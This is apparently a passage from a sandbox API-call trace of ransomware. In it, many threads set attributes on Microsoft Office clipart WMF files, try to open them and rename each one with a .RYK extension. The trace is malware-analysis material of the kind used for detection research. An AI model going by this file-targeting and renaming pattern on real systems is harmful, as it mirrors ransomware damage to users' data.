	[0244.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.630] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2449
	os_tid = 0x6b8

	[0244.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF", dwFileAttributes=0x80) returned 0
	[0244.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.631] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.631] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2450
	os_tid = 0x114

	[0244.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF", dwFileAttributes=0x80) returned 0
	[0244.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.632] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2451
	os_tid = 0x2c04

	[0244.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF", dwFileAttributes=0x80) returned 0
	[0244.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.633] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2452
	os_tid = 0x2c08

	[0244.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF", dwFileAttributes=0x80) returned 0
	[0244.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.635] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2453
	os_tid = 0x2c0c

	[0244.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF", dwFileAttributes=0x80) returned 0
	[0244.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.636] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2454
	os_tid = 0x2c10

	[0244.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF", dwFileAttributes=0x80) returned 0
	[0244.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.637] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2455
	os_tid = 0x2c14

	[0244.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF", dwFileAttributes=0x80) returned 0
	[0244.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.382] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2456
	os_tid = 0x2c18

	[0244.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF", dwFileAttributes=0x80) returned 0
	[0244.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.638] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2457
	os_tid = 0x2c1c

	[0244.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF", dwFileAttributes=0x80) returned 0
	[0244.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.639] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2458
	os_tid = 0x2c20

	[0244.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF", dwFileAttributes=0x80) returned 0
	[0244.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.640] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2459
	os_tid = 0x2c24

	[0244.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF", dwFileAttributes=0x80) returned 0
	[0244.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.746] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.746] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2460
	os_tid = 0x2c2c

	[0244.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF", dwFileAttributes=0x80) returned 0
	[0244.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.744] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2461
	os_tid = 0x2c30

	[0244.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF", dwFileAttributes=0x80) returned 0
	[0244.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.262] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2462
	os_tid = 0x2c34

	[0244.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF", dwFileAttributes=0x80) returned 0
	[0244.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.264] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2463
	os_tid = 0x2c38

	[0244.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF", dwFileAttributes=0x80) returned 0
	[0244.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.265] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2464
	os_tid = 0x2c3c

	[0244.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF", dwFileAttributes=0x80) returned 0
	[0244.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.267] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.267] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2465
	os_tid = 0x2c40

	[0244.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF", dwFileAttributes=0x80) returned 0
	[0244.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.743] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2466
	os_tid = 0x2c44

	[0244.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF", dwFileAttributes=0x80) returned 0
	[0244.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.742] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2467
	os_tid = 0x2c48

	[0244.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF", dwFileAttributes=0x80) returned 0
	[0244.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.741] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2468
	os_tid = 0x2c4c

	[0244.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF", dwFileAttributes=0x80) returned 0
	[0244.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.740] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2469
	os_tid = 0x2c50

	[0244.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF", dwFileAttributes=0x80) returned 0
	[0244.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.739] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2470
	os_tid = 0x2c54

	[0244.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF", dwFileAttributes=0x80) returned 0
	[0244.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.738] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2471
	os_tid = 0x2c58

	[0244.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF", dwFileAttributes=0x80) returned 0
	[0244.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.736] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2472
	os_tid = 0x2c5c

	[0244.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF", dwFileAttributes=0x80) returned 0
	[0244.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.735] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2473
	os_tid = 0x2c60

	[0244.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF", dwFileAttributes=0x80) returned 0
	[0244.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.734] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2474
	os_tid = 0x2c68

